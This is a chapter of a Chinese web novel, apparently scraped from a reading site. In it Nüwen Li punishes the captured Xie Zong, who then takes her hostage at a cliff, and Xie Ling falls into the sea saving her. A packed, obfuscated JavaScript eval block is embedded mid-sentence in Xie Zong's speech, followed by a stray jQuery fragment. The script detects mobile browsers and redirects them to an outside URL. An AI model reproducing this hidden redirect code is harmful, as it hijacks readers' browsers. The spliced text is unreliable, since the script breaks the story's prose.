“孩子,你从刚才就一副魂不守舍的样子,是麻烦没有解决?”老妇人关切问道。 闻梨摸着小娃娃的脑袋,发自内心笑了笑:“麻烦解决了,阿婆,有件事我想告诉你,谢小将军他还活着。” 半个时辰后,船仓外来人了,闻梨瞧见来人是风浅,便主动起身,走出船仓。 “人抓到了?” 风浅身上挂了不少彩,“抓到了,请公主上楼休息,船稍后便会返航。” 闻梨没说什么,叫了老妇人一起上楼,先前之所以选择逃往燕国,是她担心自己被谢宗抓到,万一再次跟齐国达成交易,自己很难从徐渺手中逃离,如今谢宗被抓,自然没人再把她送给齐国。 甲板上,从前那不可一世的谢侯爷,满身狼狈,正被人五花大绑在桅杆上,谢宗看见闻梨的刹那间,原本失神空洞的眼眸微微一眯:“竟然是你。” 闻梨脚步一顿,想起了昔日谢侯爷给她灌药的痛苦,扭头朝船伙计要了一碗极辣的辣椒水。 她端到谢宗面前,冷道:“张嘴。” 谢宗的眼瞳倒映着狠戾的光芒,脸上带着点怒气:“你敢?” 闻梨见谢宗不配合,于是看向风浅,风浅心领神会,命人撬开谢宗的嘴。 谢宗的嘴角被撬出鲜血,眼神恶狠狠盯着闻梨,当一整碗辣椒水灌下后,他痛苦得直咳嗽,眼眸通红,嗓子嘶哑,完全变了个声音,与此同时,他感到浑身奇痒难耐,想挠却挠不了。 原来那并非一碗普通的辣椒水。 闻梨心里稍微舒坦了些,不再多看谢宗一眼,径直上了楼。 船渐渐驶进港口,岸上守着不愿离去的难民们见此情形,以为燕国又派了条船过来,心中又燃起希望,刚想围过去,背后忽而抵来数把冷森森的长刀。 “让开。” 一道匀称高挑的绛紫色锦袍身影,自士兵中缓缓走出,谢陵凤眸微挑,静静注视着海面的船只,寒风吹起他的衣摆,在深蓝色的海面背景下勾勒出飘逸的弧度。 未等船身靠岸,谢陵凌空而起,稳稳落于船面,他扫了眼被绑在桅杆上的谢宗,并未有过多的停留,视线匆匆落向别处,似乎在寻找某人的身影。 风浅迎上来,刚要张嘴,没想到王爷看都不看自己一眼,径直朝楼梯口走去,风浅识趣退下。 闻梨此刻正站在楼梯边,望着大步流星朝她而来的谢陵,心里百味陈杂,他的面容憔悴,眼下有淡淡乌青,青色胡茬没来得及收拾,身上风尘仆仆,显然好几天没停下来修整过。 但谢陵看到她的瞬间,那双幽邃的丹凤眼恢复几缕光彩,眼神炽热,带着一种独属于他的深沉与锋芒,眸底涌动着让人难以分辨的情绪。 然而那样炽热,毫不掩饰爱意的眼神,在瞥见闻梨怀里抱着的娃娃时,错愕了一瞬,难得显露出几分拙相。 “卿卿怀中的野孩子哪来的?” “爹~”小娃娃认错了爹,伸手找谢陵要抱抱。 闻梨:“……” 谢陵僵住。 与此同时,老妇人跟着下楼,也瞧见了谢陵,立刻认出是谢小将军,神情激动,忙俯身行礼:“拜、拜见谢小将军!” 老妇人这么一喊,船上以及岸边的难民也都纷纷俯首称拜。 “太好了,谢小将军还活着!” “我们不用逃亡了,请谢小将军把齐军赶出去!” 谢陵看向四周,一股威严气息蔓延开来,他清了清嗓音道:“请诸位暂时放心,晋朝的将士们,一定会击退齐军。” 众难民们犹如吃了颗定心丸,各自欢呼。 闻梨把孩子还给老妇人:“阿婆,你先去船下等我。” 闻梨走到谢陵身旁,与他并肩而站:“想不到你在北疆,名声还挺好的。” 谢陵偏过头来,漆黑的眼眸闪动着异样的光芒,似笑非笑:“是卿卿误解我太深。” “我几时误解你?一开始明明是你欺负我,要把我拴在身边当狗,你全忘了么?” “对不起。”谢陵诚恳的看着闻梨:“从前是我不好,往后我给你当狗怎么样?”他凑过来,故作高深道:“不如从今晚开始,想要怎么处置我,随你心情?” 闻梨淡淡瞥他一眼,“我怎么觉得这是在奖赏你?到那时谁处置谁还不一定。” 谢陵忽而低头笑起来:“看样子,我是骗不到卿卿了。” 狂风吹乱海面,船只随着浪潮浮动,谢陵站在风里,一双灼热的眼摄人心魂,他伸手扶住闻梨的胳膊,神色认真看向她,眼里带着一丝落寞与渴求。 “卿卿回来我身边好不好?” 闻梨将碎发绕至耳后,平静的回望着谢陵:“你答应过我的,要给我自由,谢小将军绝不会食言,对吧?” 谢陵眼神黯淡了一瞬,很快别过去脸去,盯着海面幽幽道:“谢小将军不会食言,但险恶狡诈的临王那就不好说了。” 闻梨:“……” 谢陵松开闻梨,目光落向甲板上的谢宗,凌厉的眼神登时冷下几分,径自朝着谢宗走去。 谢宗浑身痒得难受,同样用阴沉的目光看着谢陵,他沙哑着嗓音开口:“你是什么时候知道的?” 事到如今,谢陵也没什么好瞒的了,沉声道:“我受伤后,虞莲亲口告诉我的,你为什么要对谢家下手?他们不也是你的亲人吗?” “亲人?”谢宗仰头大笑,笑容狰狞:“他们配当我的亲人吗?我也想知道,为何都是谢家的孩子,偏生那谢秦处处高我一头,就因为我是妾室所生,所以就要被人忽视和冷待?” 谢陵很不能理解:“就因为这个?” 谢宗眼神毒怨:“我没有兄长的尊贵身份,也没有他会做诗,我只是想证明我也不差,我同样能为谢家出力,那些年我拼了命的练武,想给谢家谋条出路,我有什么错?就只许他谢秦光宗耀祖?而我,永远要给他做陪衬吗?” “错就错在,谢秦要写信揭发我,他可真蠢,他以为揭发了我,便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16636698|180824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能让皇帝宽恕整个谢家?便能与我划清界限?他太可笑了,太蠢了,这样蠢的人,怎配做谢家的家主?而我,能让谢家登上权力的顶峰,有什么不好吗?” “反正人总是要死的,谢家的人虽然死了,等我做了皇帝,谢家将永远名垂青史,说起来,谢家的列祖列宗应该谢我才对。” “畜生!”谢陵一拳揍到谢宗脸上,揍肿谢宗半张脸,他压抑着怒气,才没把人一拳打死:“我应该知道的,畜生是不通人性的,我不会让你轻易死去,余生,你会受尽折磨,替枉死的谢氏一族赔罪。” 谢宗一口吐掉嘴里的血,笑容瘆人:“你真以为自己赢了?你瞧瞧身后。” 谢陵半信半疑回头,却见闻梨的身后闪过一道黑影,他来不及多想,用尽全身力气朝她扑去,但还是晚了一步,那黑影现身的瞬间,便把闻梨掳走了。 这一切发生得太快,闻梨反应过来时,寒森森的匕首正搁在她脖颈处,有温热的血顺着她的衣裳流下,颈间火辣辣的疼。 谢陵赤红着双眼,脸色阴沉可怖:“放开她!” 谢宗仰天大笑,嘶哑的嗓音如同来自地狱的恶魔:“上船前,我特意命他混进难民堆里,为的就是这一刻,人啊,一旦有了弱点,总是瞻前顾后,成不了大事,枉费我对你多年的栽培。” “什么条件你说。” 谢宗唇边带着几分讥讽的笑:“不如你先杀了自己。” 谢陵眼中闪过一丝冷淡的杀意:“你最好想清楚再开口,我若死了,我的手下不会放过你,到那时,你以为你抓了她,能威胁谁?” 谢宗逐渐收起恶劣的笑:“两匹马,放我们离开。” 谢陵看了一眼闻梨,低声朝风浅吩咐:“去找两匹马,要没喂饱的。” 不一会儿,风浅满脸内疚,牵来两匹马:“王爷,是属下失职,没有仔细排查过难民。” 谢陵:“不怪你,去把谢宗解开。” 谢宗被松绑后,可劲挠着自己,脸上,手上抓得全是血印:“再给我止痒的解药!” 谢陵照做。 随后,谢宗亲自接过护卫手里的匕首,胁迫闻梨跟着他下了船,又骑上了马,他依旧把闻梨带在马上,朝山那边疾驰而去。 谢陵翻身上马,带着一众手下追了过去。 与此同时,有个七八岁的女娃娃,费劲扒开人群,瞧见谢陵等人远去的身影,深深叹了口气:“好不容易找到堂兄,他怎么又骑马跑了?” 女娃娃身旁的老奴试探问:“小姐,我们还追吗?” 谢知遥咬牙道:“追!也给我换匹跑得快的马儿,娘亲交代我的事情,一定要做到!” 天色灰蒙蒙的,还未至傍晚,浓墨般的云层挤压着天空,又开始下起细雪,悬崖下的海面也跟着天褪了色,浪潮汹涌拍打着岩壁,与那怒吼的海风,仿佛要将悬崖掀翻。 几十米开外,一支利箭破开疾风,将马背上孤身的人影射翻在地。 谢宗回头看了眼,见自己的护卫死了,脸色微变,他狠狠甩响马鞭,想让马儿跑更快一些,但马儿像是没吃饱一样,愈跑愈没劲。 谢宗心知是谢陵动的手脚,于是调转马头,朝着悬崖边上狂驰而去,他迫切需要一个与谢陵再度谈判的机会,帮手没了,而谢陵随时会一箭射穿他的胸口,此刻,悬崖是他最好的筹码。 悬崖边上风浪很大,谢宗勒停马儿,把闻梨也拽下马背,朝着后边追来的谢陵喊道:“你再走一步,我就跟她同归于尽!” 匕首抵得更近了些,闻梨吃痛出声,血流得越来越多,她有些头晕目眩,看着眼前的谢陵,像是变成了两个人。 谢陵停下脚步,神色冷峻:“你逃不掉的。” 谢宗额头青筋暴起:“少废话,把你的马换给我!” “好,我给你。”谢陵牵着马儿靠近。 “你站着别动,让你的人退出百米外,我自己过来牵马!”谢宗胁着闻梨远离了悬崖,逐渐朝马匹走去。 谢宗虽得了好马,却仍忌惮谢陵的弓箭,便一脸警惕道:“现在,拿刀砍伤你的右手。” 谢陵眉头像是笼了层寒霜,没有丝毫犹豫,他从身后士兵的腰间抽出刀,朝自己右臂划了一刀,鲜血顿时濡湿了衣裳,紧接着,他又挥手让士兵们退下。 “放了她。”谢陵面色惨白,冷冷重申了一遍。 闻梨瞳孔紧缩,嘴唇微张,却发不出任何声音,她没想到,谢陵竟为了救她,忍受的这种地步,他究竟是怎样的一个人? 眼见没了威胁,谢宗翻身上马,但他的手并未松开闻梨,而是把闻梨拖到马前,高扬起手中的刀,阴险笑道:“现在的你,拿什么阻止我?去死吧!” 谢宗从一开始就没打算放过闻梨。 谢陵心口猛沉,脑海一片空白,下意识飞奔过去,想替闻梨挡刀。 与此同时,悬崖边上响起一道清脆焦急的孩童声:“爹爹!” 听到女儿的声音,谢宗骤然抬头,手上的刀迟疑了一秒。 便是这一秒的犹豫,谢宗被谢陵一脚踹下马,但他的手仍死死抓着闻梨衣领。 闻梨被他拽翻在地,无论她如何挣,都挣不脱。 闻梨感受到有人攥紧自己的手,她微微扭头,才发现谢陵也跟着摔倒在地,他右臂的伤口迸出更多鲜血。 “爹爹,你不是答应过,要给我做木马玩。”谢知遥哭红了眼。 谢宗鼻青脸肿,望着谢知遥凄惨一笑:“爹爹不回去了。” 说罢,谢宗下了狠心,想要拉着闻梨一起死,他是失败了,但他绝不让谢陵轻松离开,他要让谢陵此生都活在失去挚爱的痛苦中。 闻梨被二人拉扯着,难以承受两人的力道,脸色登时煞如白纸。 谢陵蓦然松手,下一瞬却拼尽全力举刀朝谢宗的手臂挥去。 一片混乱中,一股温热的血液溅射在闻梨眼皮上,她下意识闭紧眼,只觉身体被人推了一把,她踉跄倒地,谢宗的痛呼声消失,此刻耳畔只有风和海浪的声音。 她擦擦眼皮上的血迹,好不容易睁开眼,模糊视野中,一道明显的血迹延伸至悬崖边上,她茫然回头,没看到谢陵的身影。 只看到了跪坐在地哭泣的谢知遥,以及呆呆站着的风浅,还有风浅身后的数百个面色悲痛的士兵们。 谢陵在哪里? 闻梨浑身发冷,望着地面那滩血迹和拖拽的痕迹,她本来快要掉下去的,是谢陵推了她一把。 她缓缓爬过去,海浪把一切都卷走了,悬崖底下只有幽冷的海水,她依稀记得那天,徐渺带着她跳崖,那一次,谢陵也是毫不犹豫跟着跳下去。 雪越下越大,那波澜壮阔的海面,一眼望不到头,永恒的孤寂在弥漫,在一点点侵袭原本属于海的颜色。 不,她绝不能让谢陵留在这里,哪怕是他的尸首。 闻梨跌跌撞撞起身,她得去找艘渔船,谢陵肯定还活着,她得去把他找回来,那么多北疆的人们,还指望他能带兵击退齐军,他不能死。 数十日后。 起初只有谢陵带来的士兵们在海上搜寻,后来搜寻的队伍渐渐扩大,一些民众自发组织起来,造船的造船,出海的出海,彻夜不眠地搜寻。 但人们只找到半具谢宗破烂不堪的尸首,据渔民们说,另一半已经被鱼吃掉了,于是人们纷纷猜测,谢小将军的尸首,也被鱼吃掉了。 搜寻的人们渐渐撤离,又过了半月,琅云城传来捷报,齐军已被陆小将军击退,难民们纷纷往回走,有些离开得较晚的难民,亲眼瞧见陆小将军坐在悬崖上哭了三天三夜,他身旁始终坐着个沉默的女子。 陆回哭够了,红肿着一双眼拿出一份密旨,递给闻梨:“女帝登基,召公主回京。” 闻梨随手把圣旨扔进海里,声音飘渺:“这里没有公主。” 陆回不再多说,擦擦眼泪,准备起身走了。 “你要去哪里?”闻梨忽然问道。 陆回的声音在风里断断续续:“我要回琅云城,那是王爷交给我的地方,我要替他守好了。你呢?不去京城,你要去哪?” 闻梨缓缓起身,碎雪夹杂着海风,轻轻飘落在她肩头,她乌灵沉静的眼眸盯着远方,裙摆在风中肆意飞舞,良久,她轻声道: “月华城,我在那有间宅子,是他送的,不知还作不作数。”